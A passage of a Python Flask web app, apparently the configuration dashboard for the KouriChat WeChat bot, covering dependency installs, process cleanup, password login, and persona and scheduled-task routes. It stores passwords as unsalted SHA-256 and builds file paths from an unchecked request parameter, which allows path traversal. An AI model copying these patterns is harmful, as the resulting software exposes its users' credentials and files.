except Exception as e: return jsonify({ 'status': 'error', 'error': f'执行命令失败: {str(e)}' }) @app.route('/check_dependencies') def check_dependencies(): """检查Python和pip环境""" try: # 检查Python版本 python_version = sys.version.split()[0] # 检查pip是否安装 pip_path = shutil.which('pip') has_pip = pip_path is not None # 检查requirements.txt是否存在 requirements_path = os.path.join(ROOT_DIR, 'requirements.txt') has_requirements = os.path.exists(requirements_path) # 如果requirements.txt存在,检查是否所有依赖都已安装 dependencies_status = "unknown" missing_deps = [] if has_requirements and has_pip: try: # 获取已安装的包列表 process = subprocess.Popen( [sys.executable, '-m', 'pip', 'list'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) stdout, stderr = process.communicate() # 解码字节数据为字符串 stdout = stdout.decode('utf-8') stderr = stderr.decode('utf-8') # 解析pip list的输出,只获取包名 installed_packages = { line.split()[0].lower() for line in stdout.split('\n')[2:] if line.strip() } logger.debug(f"已安装的包: {installed_packages}") # 读取requirements.txt,只获取有效的包名 with open(requirements_path, 'r', encoding='utf-8') as f: required_packages = set() for line in f: line = line.strip() # 跳过无效行:空行、注释、镜像源配置、-r 开头的文件包含 if (not line or line.startswith('#') or line.startswith('-i ') or line.startswith('-r ') or line.startswith('--')): continue # 只取包名,忽略版本信息和其他选项 pkg = line.split('=')[0].split('>')[0].split('<')[0].split('~')[0].split('[')[0] pkg = pkg.strip().lower() if pkg: # 确保包名不为空 required_packages.add(pkg) logger.debug(f"需要的包: {required_packages}") # 检查缺失的依赖 missing_deps = [ pkg for pkg in required_packages if pkg not in installed_packages and not ( pkg == 'wxauto' and 'wxauto-py' in installed_packages ) ] logger.debug(f"缺失的包: {missing_deps}") # 根据是否有缺失依赖设置状态 dependencies_status = "complete" if not missing_deps else "incomplete" except Exception as e: logger.error(f"检查依赖时出错: {str(e)}") dependencies_status = "error" else: dependencies_status = "complete" if not has_requirements else "incomplete" return jsonify({ 'status': 'success', 'python_version': python_version, 'has_pip': has_pip, 'has_requirements': has_requirements, 'dependencies_status': dependencies_status, 'missing_dependencies': missing_deps }) except Exception as e: logger.error(f"依赖检查失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/favicon.ico') def favicon(): """提供网站图标""" return send_from_directory( os.path.join(app.root_path, 'src/webui/static'), 'mom.ico', mimetype='image/vnd.microsoft.icon' ) def cleanup_processes(): """清理所有相关进程""" try: # 清理机器人进程 global bot_process, job_object if bot_process: try: logger.info(f"正在终止机器人进程 (PID: {bot_process.pid})...") # 获取进程组 parent = psutil.Process(bot_process.pid) children = parent.children(recursive=True) # 终止子进程 for child in children: try: logger.info(f"正在终止子进程 (PID: {child.pid})...") child.terminate() except: try: logger.info(f"正在强制终止子进程 (PID: {child.pid})...") child.kill() except Exception as e: logger.error(f"终止子进程 (PID: {child.pid}) 失败: {str(e)}") # 终止主进程 bot_process.terminate() # 等待进程结束 try: gone, alive = psutil.wait_procs(children + [parent], timeout=3) # 强制结束仍在运行的进程 for p in alive: try: logger.info(f"正在强制终止进程 (PID: {p.pid})...") p.kill() except Exception as e: logger.error(f"强制终止进程 (PID: {p.pid}) 失败: {str(e)}") except Exception as e: logger.error(f"等待进程结束失败: {str(e)}") # 如果在Windows上,使用taskkill强制终止进程树 if sys.platform.startswith('win'): try: logger.info(f"使用taskkill终止进程树 (PID: {bot_process.pid})...") subprocess.run(['taskkill', '/F', '/T', '/PID', str(bot_process.pid)], capture_output=True) except Exception as e: logger.error(f"使用taskkill终止进程失败: {str(e)}") bot_process = None except Exception as e: logger.error(f"清理机器人进程失败: {str(e)}") # 清理当前进程的所有子进程 try: current_process = psutil.Process() children = current_process.children(recursive=True) for child in children: try: logger.info(f"正在终止子进程 (PID: {child.pid})...") child.terminate() except: try: logger.info(f"正在强制终止子进程 (PID: {child.pid})...") child.kill() except Exception as e: logger.error(f"终止子进程 (PID: {child.pid}) 失败: {str(e)}") # 等待所有子进程结束 gone, alive = psutil.wait_procs(children, timeout=3) for p in alive: try: logger.info(f"正在强制终止进程 (PID: {p.pid})...") p.kill() except Exception as e: logger.error(f"强制终止进程 (PID: {p.pid}) 失败: {str(e)}") except Exception as e: logger.error(f"清理子进程失败: {str(e)}") except Exception as e: logger.error(f"清理进程失败: {str(e)}") def signal_handler(signum, frame): """信号处理函数""" logger.info(f"收到信号: {signum}") cleanup_processes() sys.exit(0) # 注册信号处理器 signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) # Windows平台特殊处理 if sys.platform.startswith('win'): try: signal.signal(signal.SIGBREAK, signal_handler) except: pass # 注册退出处理 atexit.register(cleanup_processes) def open_browser(port): """在新线程中打开浏览器""" def _open_browser(): # 等待服务器启动 time.sleep(1.5) # 优先使用 localhost url = f"http://localhost:{port}" webbrowser.open(url) # 创建新线程来打开浏览器 threading.Thread(target=_open_browser, daemon=True).start() def create_job_object(): global job_object try: if sys.platform.startswith('win'): # 创建作业对象 job_object = win32job.CreateJobObject(None, "KouriChatBotJob") # 设置作业对象的扩展限制信息 info = win32job.QueryInformationJobObject( job_object, win32job.JobObjectExtendedLimitInformation ) # 设置当所有进程句柄关闭时终止作业 info['BasicLimitInformation']['LimitFlags'] = win32job.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE # 应用设置 win32job.SetInformationJobObject( job_object, win32job.JobObjectExtendedLimitInformation, info ) try: # 将当前进程添加到作业对象 current_process = win32process.GetCurrentProcess() win32job.AssignProcessToJobObject(job_object, current_process) logger.info("已创建作业对象并将当前进程添加到作业中") except Exception as assign_error: if hasattr(assign_error, 'winerror') and assign_error.winerror == 5: # 5是"拒绝访问"错误代码 logger.warning("无法将当前进程添加到作业对象(权限不足),但这不影响程序运行") # 作业对象仍然可用于管理子进程 return True else: raise # 重新抛出其他类型的错误 return True except Exception as e: logger.error(f"创建作业对象失败: {str(e)}") return False # 添加控制台关闭事件处理 def setup_console_control_handler(): try: if sys.platform.startswith('win'): def handler(dwCtrlType): if dwCtrlType in (win32con.CTRL_CLOSE_EVENT, win32con.CTRL_LOGOFF_EVENT, win32con.CTRL_SHUTDOWN_EVENT): logger.info("检测到控制台关闭事件,正在清理进程...") cleanup_processes() return True return False win32api.SetConsoleCtrlHandler(handler, True) logger.info("已设置控制台关闭事件处理器") except Exception as e: logger.error(f"设置控制台关闭事件处理器失败: {str(e)}") def main(): """主函数""" from data.config import config # 设置系统编码为 UTF-8 (不清除控制台输出) if sys.platform.startswith('win'): os.system("@chcp 65001 >nul") # 使用 >nul 来隐藏输出而不清屏 print("\n" + "="*50) print_status("配置管理系统启动中...", "info", "LAUNCH") print("-"*50) # 创建作业对象来管理子进程 create_job_object() # 设置控制台关闭事件处理 setup_console_control_handler() # 检查必要目录 print_status("检查系统目录...", "info", "FILE") templates_dir = os.path.join(ROOT_DIR, 'src/webui/templates') if not os.path.exists(templates_dir): print_status(f"模板目录不存在!尝试创建: {templates_dir}", "warning", "WARNING") try: os.makedirs(templates_dir, exist_ok=True) print_status("成功创建模板目录", "success", "CHECK") except Exception as e: print_status(f"创建模板目录失败: {e}", "error", "CROSS") return # 检查静态文件目录 static_dir = os.path.join(ROOT_DIR, 'src/webui/static') if not os.path.exists(static_dir): print_status(f"静态文件目录不存在!尝试创建: {static_dir}", "warning", "WARNING") try: os.makedirs(static_dir, exist_ok=True) os.makedirs(os.path.join(static_dir, 'js'), exist_ok=True) os.makedirs(os.path.join(static_dir, 'css'), exist_ok=True) print_status("成功创建静态文件目录", "success", "CHECK") except Exception as e: print_status(f"创建静态文件目录失败: {e}", "error", "CROSS") # 检查配置文件 print_status("检查配置文件...", "info", "CONFIG") if not os.path.exists(config.config_path): print_status("错误:配置文件不存在!", "error", "CROSS") return print_status("配置文件检查完成", "success", "CHECK") # 打印模板目录内容用于调试 try: print_status(f"正在检查模板文件...", "info", "FILE") if os.path.exists(templates_dir): template_files = os.listdir(templates_dir) if template_files: print_status(f"找到{len(template_files)}个模板文件: {', '.join(template_files)}", "success", "CHECK") else: print_status("模板目录为空", "warning", "WARNING") except Exception as e: print_status(f"检查模板文件失败: {e}", "error", "CROSS") # 修改启动 Web 服务器的部分 try: cli = sys.modules['flask.cli'] if hasattr(cli, 'show_server_banner'): setattr(cli, 'show_server_banner', lambda *x: None) # 禁用 Flask 启动横幅 except (KeyError, AttributeError): pass host = '0.0.0.0' port = 8502 # 检查端口是否可用,如果不可用则自动选择其他端口 def is_port_available(port): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(('localhost', port)) return True except OSError: return False # 寻找可用端口 original_port = port while not is_port_available(port): port += 1 if port > 9000: # 避免无限循环 print_status(f"无法找到可用端口(尝试了{original_port}-{port})", "error", "CROSS") return if port != original_port: print_status(f"端口{original_port}被占用,自动选择端口{port}", "warning", "WARNING") print_status("正在启动Web服务...", "info", "INTERNET") print("-"*50) print_status("配置管理系统已就绪!", "success", "STAR_1") # 显示所有可用的访问地址 print_status("可通过以下地址访问:", "info", "CHAIN") print(f" Local: http://localhost:{port}") print(f" Local: http://127.0.0.1:{port}") # 获取本地IP地址 hostname = socket.gethostname() try: addresses = socket.getaddrinfo(hostname, None) for addr in addresses: ip = addr[4][0] if isinstance(ip, str) and '.' in ip and ip != '127.0.0.1': print(f" Network: http://{ip}:{port}") except Exception as e: logger.error(f"获取IP地址失败: {str(e)}") print("="*50 + "\n") # 启动浏览器 open_browser(port) try: app.run( host=host, port=port, debug=False, # 关闭调试模式避免权限问题 use_reloader=False # 禁用重载器以避免创建多余的进程 ) except PermissionError as e: print_status(f"权限错误:{str(e)}", "error", "CROSS") print_status("请尝试以管理员身份运行程序", "warning", "WARNING") except OSError as e: if "access" in str(e).lower() or "permission" in str(e).lower(): print_status(f"端口访问被拒绝:{str(e)}", "error", "CROSS") print_status("可能的解决方案:", "info", "INFO") print(" 1. 以管理员身份运行程序") print(" 2. 检查防火墙设置") print(" 3. 检查是否有其他程序占用端口") else: print_status(f"网络错误:{str(e)}", "error", "CROSS") except Exception as e: print_status(f"启动Web服务失败:{str(e)}", "error", "CROSS") @app.route('/install_dependencies', methods=['POST']) def install_dependencies(): """安装依赖""" try: output = [] # 安装依赖 output.append("正在安装依赖,请耐心等待...") requirements_path = os.path.join(ROOT_DIR, 'requirements.txt') if not os.path.exists(requirements_path): return jsonify({ 'status': 'error', 'message': '找不到requirements.txt文件' }) process = subprocess.Popen( [sys.executable, '-m', 'pip', 'install', '-r', requirements_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) stdout, stderr = process.communicate() # 解码字节数据为字符串 stdout = stdout.decode('utf-8') stderr = stderr.decode('utf-8') output.append(stdout if stdout else stderr) # 检查是否有实际错误,而不是"already satisfied"消息 has_error = process.returncode != 0 and not any( msg in (stdout + stderr).lower() for msg in ['already satisfied', 'successfully installed'] ) if not has_error: return jsonify({ 'status': 'success', 'output': '\n'.join(output) }) else: return jsonify({ 'status': 'error', 'output': '\n'.join(output), 'message': '安装依赖失败' }) except Exception as e: return jsonify({ 'status': 'error', 'message': str(e) }) def hash_password(password: str) -> str: # 对密码进行哈希处理 return hashlib.sha256(password.encode()).hexdigest() def is_local_network() -> bool: # 检查是否是本地网络访问 client_ip = request.remote_addr if client_ip is None: return True return ( client_ip == '127.0.0.1' or client_ip.startswith('192.168.') or client_ip.startswith('10.') or client_ip.startswith('172.16.') ) @app.before_request def check_auth(): # 请求前验证登录状态 # 排除不需要验证的路由 public_routes = ['login', 'static', 'init_password'] if request.endpoint in public_routes: return # 检查是否需要初始化密码 from data.config import config if not config.auth.admin_password: return redirect(url_for('init_password')) if not session.get('logged_in'): return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): # 处理登录请求 from data.config import config # 首先检查是否需要初始化密码 if not config.auth.admin_password: return redirect(url_for('init_password')) if request.method == 'GET': # 如果已经登录,直接跳转到仪表盘 if session.get('logged_in'): return redirect(url_for('dashboard')) return render_template('login.html') # POST请求处理 data = request.get_json() password = data.get('password') remember_me = data.get('remember_me', False) # 正常登录验证 stored_hash = config.auth.admin_password if hash_password(password) == stored_hash: session.clear() # 清除旧会话 session['logged_in'] = True if remember_me: session.permanent = True app.permanent_session_lifetime = timedelta(days=30) return jsonify({'status': 'success'}) return jsonify({ 'status': 'error', 'message': '密码错误' }) @app.route('/init_password', methods=['GET', 'POST']) def init_password(): # 初始化管理员密码页面 from data.config import config if request.method == 'GET': # 如果已经设置了密码,重定向到登录页面 if config.auth.admin_password: return redirect(url_for('login')) return render_template('init_password.html') # POST请求处理 try: data = request.get_json() if not data or 'password' not in data: return jsonify({ 'status': 'error', 'message': '无效的请求数据' }) password = data.get('password') # 再次检查是否已经设置了密码 if config.auth.admin_password: return jsonify({ 'status': 'error', 'message': '密码已经设置' }) # 保存新密码的哈希值 hashed_password = hash_password(password) if config.update_password(hashed_password): # 重新加载配置 importlib.reload(sys.modules['data.config']) from data.config import config # 验证密码是否正确保存 if not config.auth.admin_password: return jsonify({ 'status': 'error', 'message': '密码保存失败' }) # 设置登录状态 session.clear() session['logged_in'] = True return jsonify({'status': 'success'}) return jsonify({ 'status': 'error', 'message': '保存密码失败' }) except Exception as e: logger.error(f"初始化密码失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }), 500 @app.route('/logout') def logout(): # 退出登录 session.clear() return redirect(url_for('login')) @app.route('/get_model_configs') def get_model_configs(): """获取模型和API配置""" try: configs = None models_path = os.path.join(ROOT_DIR, 'src/autoupdate/cloud/models.json') # 先尝试从云端获取模型列表 try: from src.autoupdate.updater import check_cloud_info cloud_info = check_cloud_info() # 如果云端获取成功,使用云端模型列表 if cloud_info and cloud_info.get('models'): configs = cloud_info['models'] logger.info("使用云端模型列表") except Exception as cloud_error: logger.warning(f"从云端获取模型列表失败: {str(cloud_error)}") # 如果云端获取失败,使用本地模型列表 if configs is None: if not os.path.exists(models_path): logger.error(f"本地模型配置文件不存在: {models_path}") return jsonify({ 'status': 'error', 'message': '模型配置文件不存在' }) try: with open(models_path, 'r', encoding='utf-8') as f: configs = json.load(f) logger.info("使用本地模型列表") except Exception as local_error: logger.error(f"读取本地模型列表失败: {str(local_error)}") return jsonify({ 'status': 'error', 'message': f'读取模型配置失败: {str(local_error)}' }) # 过滤和排序提供商 active_providers = [p for p in configs['api_providers'] if p.get('status') == 'active'] active_providers.sort(key=lambda x: x.get('priority', 999)) # 构建返回配置 return_configs = { 'api_providers': active_providers, 'models': {} } # 只包含活动模型 for provider in active_providers: provider_id = provider['id'] if provider_id in configs['models']: return_configs['models'][provider_id] = [ m for m in configs['models'][provider_id] if m.get('status') == 'active' ] return jsonify(return_configs) except Exception as e: logger.error(f"获取模型配置失败: {str(e)}") return jsonify({ 'status': 'error', 'message': f'获取模型配置失败: {str(e)}' }) @app.route('/save_quick_setup', methods=['POST']) def save_quick_setup(): """保存快速设置""" try: new_config = request.json or {} from data.config import config # 读取当前配置 config_path = os.path.join(ROOT_DIR, 'data/config/config.json') try: with open(config_path, 'r', encoding='utf-8') as f: current_config = json.load(f) except: current_config = {"categories": {}} # 确保基本结构存在 if "categories" not in current_config: current_config["categories"] = {} # 更新用户设置 if "listen_list" in new_config: if "user_settings" not in current_config["categories"]: current_config["categories"]["user_settings"] = { "title": "用户设置", "settings": {} } current_config["categories"]["user_settings"]["settings"]["listen_list"] = { "value": new_config["listen_list"], "type": "array", "description": "要监听的用户列表(请使用微信昵称,不要使用备注名)" } # 更新API设置 if "api_key" in new_config: if "llm_settings" not in current_config["categories"]: current_config["categories"]["llm_settings"] = { "title": "大语言模型配置", "settings": {} } current_config["categories"]["llm_settings"]["settings"]["api_key"] = { "value": new_config["api_key"], "type": "string", "description": "API密钥", "is_secret": True } # 如果没有设置其他必要的LLM配置,设置默认值 if "base_url" not in current_config["categories"]["llm_settings"]["settings"]: current_config["categories"]["llm_settings"]["settings"]["base_url"] = { "value": "https://api.moonshot.cn/v1", "type": "string", "description": "API基础URL" } if "model" not in current_config["categories"]["llm_settings"]["settings"]: current_config["categories"]["llm_settings"]["settings"]["model"] = { "value": "moonshot-v1-8k", "type": "string", "description": "使用的模型" } if "max_tokens" not in current_config["categories"]["llm_settings"]["settings"]: current_config["categories"]["llm_settings"]["settings"]["max_tokens"] = { "value": 2000, "type": "number", "description": "最大token数" } if "temperature" not in current_config["categories"]["llm_settings"]["settings"]: current_config["categories"]["llm_settings"]["settings"]["temperature"] = { "value": 1.1, "type": "number", "description": "温度参数" } if "auto_model_switch" not in current_config["categories"]["llm_settings"]["settings"]: current_config["categories"]["llm_settings"]["settings"]["auto_model_switch"] = { "value": False, "type": "boolean", "description": "自动切换模型" } # 保存更新后的配置 with open(config_path, 'w', encoding='utf-8') as f: json.dump(current_config, f, ensure_ascii=False, indent=4) # 重新加载配置 importlib.reload(sys.modules['data.config']) return jsonify({"status": "success", "message": "设置已保存"}) except Exception as e: logger.error(f"保存快速设置失败: {str(e)}") return jsonify({"status": "error", "message": str(e)}) @app.route('/quick_setup') def quick_setup(): """快速设置页面""" return render_template('quick_setup.html') # 添加获取可用人设列表的路由 @app.route('/get_available_avatars') def get_available_avatars_route(): """获取可用的人设目录列表""" try: # 使用绝对路径 avatar_base_dir = os.path.join(ROOT_DIR, "data", "avatars") # 检查目录是否存在 if not os.path.exists(avatar_base_dir): # 尝试创建目录 try: os.makedirs(avatar_base_dir) logger.info(f"已创建人设目录: {avatar_base_dir}") except Exception as e: logger.error(f"创建人设目录失败: {str(e)}") return jsonify({ 'status': 'error', 'message': f"人设目录不存在且无法创建: {str(e)}" }) # 获取所有包含 avatar.md 和 emojis 目录的有效人设目录 avatars = [] for item in os.listdir(avatar_base_dir): avatar_dir = os.path.join(avatar_base_dir, item) if os.path.isdir(avatar_dir): avatar_md_path = os.path.join(avatar_dir, "avatar.md") emojis_dir = os.path.join(avatar_dir, "emojis") # 检查 avatar.md 文件 if not os.path.exists(avatar_md_path): logger.warning(f"人设 {item} 缺少 avatar.md 文件") continue # 检查 emojis 目录 if not os.path.exists(emojis_dir): logger.warning(f"人设 {item} 缺少 emojis 目录") try: os.makedirs(emojis_dir) logger.info(f"已为人设 {item} 创建 emojis 目录") except Exception as e: logger.error(f"为人设 {item} 创建 emojis 目录失败: {str(e)}") continue avatars.append(f"data/avatars/{item}") logger.info(f"找到 {len(avatars)} 个有效人设: {avatars}") return jsonify({ 'status': 'success', 'avatars': avatars }) except Exception as e: logger.error(f"获取人设列表失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) # 修改加载指定人设内容的路由 @app.route('/load_avatar_content') def load_avatar_content(): """加载指定人设的内容""" try: avatar_name = request.args.get('avatar', 'MONO') avatar_path = os.path.join(ROOT_DIR, 'data', 'avatars', avatar_name, 'avatar.md') # 确保目录存在 os.makedirs(os.path.dirname(avatar_path), exist_ok=True) # 如果文件不存在,创建一个空文件 if not os.path.exists(avatar_path): with open(avatar_path, 'w', encoding='utf-8') as f: f.write("# Task\n请在此输入任务描述\n\n# Role\n请在此输入角色设定\n\n# Appearance\n请在此输入外表描述\n\n") # 读取角色设定文件并解析内容 sections = {} current_section = None with open(avatar_path, 'r', encoding='utf-8') as file: content = "" for line in file: if line.startswith('# '): # 如果已有部分,保存它 if current_section: sections[current_section.lower()] = content.strip() # 开始新部分 current_section = line[2:].strip() content = "" else: content += line # 保存最后一个部分 if current_section: sections[current_section.lower()] = content.strip() # 获取原始文件内容,用于前端显示 with open(avatar_path, 'r', encoding='utf-8') as file: raw_content = file.read() return jsonify({ 'status': 'success', 'content': sections, 'raw_content': raw_content # 添加原始内容 }) except Exception as e: logger.error(f"加载人设内容失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/get_tasks', methods=['GET']) def get_tasks(): """获取定时任务列表""" try: config_data = load_config_file() tasks = [] if 'categories' in config_data and 'schedule_settings' in config_data['categories']: if 'settings' in config_data['categories']['schedule_settings'] and 'tasks' in config_data['categories']['schedule_settings']['settings']: tasks = config_data['categories']['schedule_settings']['settings']['tasks'].get('value', []) return jsonify({ 'status': 'success', 'tasks': tasks }) except Exception as e: logger.error(f"获取任务失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/save_task', methods=['POST']) def save_task(): """保存单个定时任务""" try: task_data = request.json # 验证必要字段 required_fields = ['task_id', 'chat_id', 'content', 'schedule_type', 'schedule_time'] for field in required_fields: if field not in task_data: return jsonify({ 'status': 'error', 'message': f'缺少必要字段: {field}' }) # 读取配置 config_data = load_config_file() # 确保必要的配置结构存在 if 'categories' not in config_data: config_data['categories'] = {} if 'schedule_settings' not in config_data['categories']: config_data['categories']['schedule_settings'] = { 'title': '定时任务配置', 'settings': { 'tasks': { 'value': [], 'type': 'array', 'description': '定时任务列表' } } } elif 'settings' not in config_data['categories']['schedule_settings']: config_data['categories']['schedule_settings']['settings'] = { 'tasks': { 'value': [], 'type': 'array', 'description': '定时任务列表' } } elif 'tasks' not in config_data['categories']['schedule_settings']['settings']: config_data['categories']['schedule_settings']['settings']['tasks'] = { 'value': [], 'type': 'array', 'description': '定时任务列表' } # 获取当前任务列表 tasks = config_data['categories']['schedule_settings']['settings']['tasks']['value'] # 检查是否存在相同ID的任务 task_index = None for i, task in enumerate(tasks): if task.get('task_id') == task_data['task_id']: task_index = i break # 更新或添加任务 if task_index is not None: tasks[task_index] = task_data else: tasks.append(task_data) # 更新配置 config_data['categories']['schedule_settings']['settings']['tasks']['value'] = tasks # 保存配置 if not save_config_file(config_data): return jsonify({ 'status': 'error', 'message': '保存配置文件失败' }), 500 # 重新初始化定时任务 reinitialize_tasks() return jsonify({ 'status': 'success', 'message': '任务已保存' }) except Exception as e: logger.error(f"保存任务失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/delete_task', methods=['POST']) def delete_task(): """删除定时任务""" try: data = request.json task_id = data.get('task_id') if not task_id: return jsonify({ 'status': 'error', 'message': '未提供任务ID' }) # 读取配置 config_data = load_config_file() # 获取任务列表 if 'categories' in config_data and 'schedule_settings' in config_data['categories']: if 'settings' in config_data['categories']['schedule_settings'] and 'tasks' in config_data['categories']['schedule_settings']['settings']: tasks = config_data['categories']['schedule_settings']['settings']['tasks']['value'] # 查找并删除任务 new_tasks = [task for task in tasks if task.get('task_id') != task_id] # 更新配置 config_data['categories']['schedule_settings']['settings']['tasks']['value'] = new_tasks # 保存配置 if not save_config_file(config_data): return jsonify({ 'status': 'error', 'message': '保存配置文件失败' }), 500 # 重新初始化定时任务 reinitialize_tasks() return jsonify({ 'status': 'success', 'message': '任务已删除' }) return jsonify({ 'status': 'error', 'message': '找不到任务配置' }) except Exception as e: logger.error(f"删除任务失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/get_all_configs') def get_all_configs(): """获取所有最新的配置数据""" try: # 直接从配置文件读取所有配置数据 config_path = os.path.join(ROOT_DIR, 'data/config/config.json') with open(config_path, 'r', encoding='utf-8') as f: config_data = json.load(f) # 解析配置数据为前端需要的格式 configs = {} tasks = [] # 处理用户设置 if 'categories' in config_data: # 用户设置 if 'user_settings' in config_data['categories'] and 'settings' in config_data['categories']['user_settings']: configs['基础配置'] = {} if 'listen_list' in config_data['categories']['user_settings']['settings']: configs['基础配置']['LISTEN_LIST'] = config_data['categories']['user_settings']['settings']['listen_list'] if 'group_chat_config' in config_data['categories']['user_settings']['settings']: configs['基础配置']['GROUP_CHAT_CONFIG'] = config_data['categories']['user_settings']['settings']['group_chat_config'] # LLM设置 if 'llm_settings' in config_data['categories'] and 'settings' in config_data['categories']['llm_settings']: llm_settings = config_data['categories']['llm_settings']['settings'] if 'api_key' in llm_settings: configs['基础配置']['DEEPSEEK_API_KEY'] = llm_settings['api_key'] if 'base_url' in llm_settings: configs['基础配置']['DEEPSEEK_BASE_URL'] = llm_settings['base_url'] if 'model' in llm_settings: configs['基础配置']['MODEL'] = llm_settings['model'] if 'max_tokens' in llm_settings: configs['基础配置']['MAX_TOKEN'] = llm_settings['max_tokens'] if 'temperature' in llm_settings: configs['基础配置']['TEMPERATURE'] = llm_settings['temperature'] if 'auto_model_switch' in llm_settings: configs['基础配置']['AUTO_MODEL_SWITCH'] = llm_settings['auto_model_switch'] # 媒体设置 if 'media_settings' in config_data['categories'] and 'settings' in config_data['categories']['media_settings']: media_settings = config_data['categories']['media_settings']['settings'] # 图像识别设置 configs['图像识别API配置'] = {} if 'image_recognition' in media_settings: img_recog = media_settings['image_recognition'] if 'api_key' in img_recog: # 保留完整配置,包括元数据 configs['图像识别API配置']['VISION_API_KEY'] = img_recog['api_key'] if 'base_url' in img_recog: configs['图像识别API配置']['VISION_BASE_URL'] = img_recog['base_url'] if 'temperature' in img_recog: configs['图像识别API配置']['VISION_TEMPERATURE'] = img_recog['temperature'] if 'model' in img_recog: configs['图像识别API配置']['VISION_MODEL'] = img_recog['model'] # 图像生成设置 ''' configs['图像生成配置'] = {} if 'image_generation' in media_settings: img_gen = media_settings['image_generation'] if 'model' in img_gen: configs['图像生成配置']['IMAGE_MODEL'] = {'value': img_gen['model'].get('value', '')} if 'temp_dir' in img_gen: configs['图像生成配置']['TEMP_IMAGE_DIR'] = {'value': img_gen['temp_dir'].get('value', '')} ''' # TTS 服务配置 configs["TTS 服务配置"] = {} if 'text_to_speech' in media_settings: tts = media_settings['text_to_speech'] if 'tts_api_key' in tts: configs['TTS 服务配置']['TTS_API_KEY'] = {'value': tts['tts_api_key'].get('value', '')} if 'tts_model_id' in tts: configs['TTS 服务配置']['TTS_MODEL_ID'] = {'value': tts['tts_model_id'].get('value', '')} # 行为设置 if 'behavior_settings' in config_data['categories'] and 'settings' in config_data['categories']['behavior_settings']: behavior = config_data['categories']['behavior_settings']['settings'] # 主动消息配置 configs['主动消息配置'] = {} if 'auto_message' in behavior: auto_msg = behavior['auto_message'] if 'content' in auto_msg: configs['主动消息配置']['AUTO_MESSAGE'] = auto_msg['content'] if 'countdown' in auto_msg: if 'min_hours' in auto_msg['countdown']: configs['主动消息配置']['MIN_COUNTDOWN_HOURS'] = auto_msg['countdown']['min_hours'] if 'max_hours' in auto_msg['countdown']: configs['主动消息配置']['MAX_COUNTDOWN_HOURS'] = auto_msg['countdown']['max_hours'] if 'quiet_time' in behavior: quiet = behavior['quiet_time'] if 'start' in quiet: configs['主动消息配置']['QUIET_TIME_START'] = quiet['start'] if 'end' in quiet: configs['主动消息配置']['QUIET_TIME_END'] = quiet['end'] # 消息队列配置 configs['消息配置'] = {} if 'message_queue' in behavior: msg_queue = behavior['message_queue'] if 'timeout' in msg_queue: configs['消息配置']['QUEUE_TIMEOUT'] = msg_queue['timeout'] # 人设配置 configs['人设配置'] = {} if 'context' in behavior: context = behavior['context'] if 'max_groups' in context: configs['人设配置']['MAX_GROUPS'] = context['max_groups'] if 'avatar_dir' in context: configs['人设配置']['AVATAR_DIR'] = context['avatar_dir'] # 网络搜索设置 if 'network_search_settings' in config_data['categories'] and 'settings' in config_data['categories']['network_search_settings']: network_search = config_data['categories']['network_search_settings']['settings'] configs['网络搜索配置'] = {} if 'search_enabled' in network_search: configs['网络搜索配置']['NETWORK_SEARCH_ENABLED'] = network_search['search_enabled'] if 'weblens_enabled' in network_search: configs['网络搜索配置']['WEBLENS_ENABLED'] = network_search['weblens_enabled'] if 'api_key' in network_search: configs['网络搜索配置']['NETWORK_SEARCH_API_KEY'] = network_search['api_key'] if 'base_url' in network_search: configs['网络搜索配置']['NETWORK_SEARCH_BASE_URL'] = network_search['base_url'] # 意图识别设置 if 'intent_recognition_settings' in config_data['categories'] and 'settings' in config_data['categories']['intent_recognition_settings']: intent_recog = config_data['categories']['intent_recognition_settings']['settings'] configs['意图识别配置'] = {} if 'api_key' in intent_recog: configs['意图识别配置']['INTENT_API_KEY'] = intent_recog['api_key'] if 'base_url' in intent_recog: configs['意图识别配置']['INTENT_BASE_URL'] = intent_recog['base_url'] if 'model' in intent_recog: configs['意图识别配置']['INTENT_MODEL'] = intent_recog['model'] if 'temperature' in intent_recog: configs['意图识别配置']['INTENT_TEMPERATURE'] = intent_recog['temperature'] # 定时任务 if 'schedule_settings' in config_data['categories'] and 'settings' in config_data['categories']['schedule_settings']: if 'tasks' in config_data['categories']['schedule_settings']['settings']: tasks = config_data['categories']['schedule_settings']['settings']['tasks'].get('value', []) logger.debug(f"获取到的所有配置数据: {configs}") logger.debug(f"获取到的任务数据: {tasks}") return jsonify({ 'status': 'success', 'configs': configs, 'tasks': tasks }) except Exception as e: logger.error(f"获取所有配置数据失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }) @app.route('/get_announcement') def get_announcement(): try: # 使用统一的公告管理器获取公告 from src.autoupdate.announcement import get_current_announcement announcement = get_current_announcement() if announcement and announcement.get('enabled', False): logger.info("从公告管理器获取到有效公告") return jsonify(announcement) else: logger.info("没有有效公告,返回默认内容") return jsonify({ 'enabled': True, 'title': '欢迎使用KouriChat', 'content': '欢迎使用KouriChat!如有问题请联系开发者。' }) except Exception as e: logger.error(f"获取公告失败: {e}") return jsonify({ 'enabled': False, 'title': '公告获取失败', 'content': f'<div class="text-danger">错误信息: {str(e)}</div>' }) @app.route('/dismiss_announcement', methods=['POST']) def dismiss_announcement(): """忽略当前公告,不再显示""" try: from src.autoupdate.announcement import dismiss_announcement as dismiss_func # 获取请求中的公告ID(可选) data = request.get_json() if request.is_json else {} announcement_id = data.get('announcement_id', None) success = dismiss_func(announcement_id) if success: logger.info(f"用户忽略了公告: {announcement_id or '当前公告'}") return jsonify({ 'success': True, 'message': '公告已设置为不再显示' }) else: return jsonify({ 'success': False, 'message': '忽略公告失败' }), 400 except Exception as e: logger.error(f"忽略公告失败: {e}") return jsonify({ 'success': False, 'message': f'操作失败: {str(e)}' }), 500 @app.route('/reconnect_wechat') def 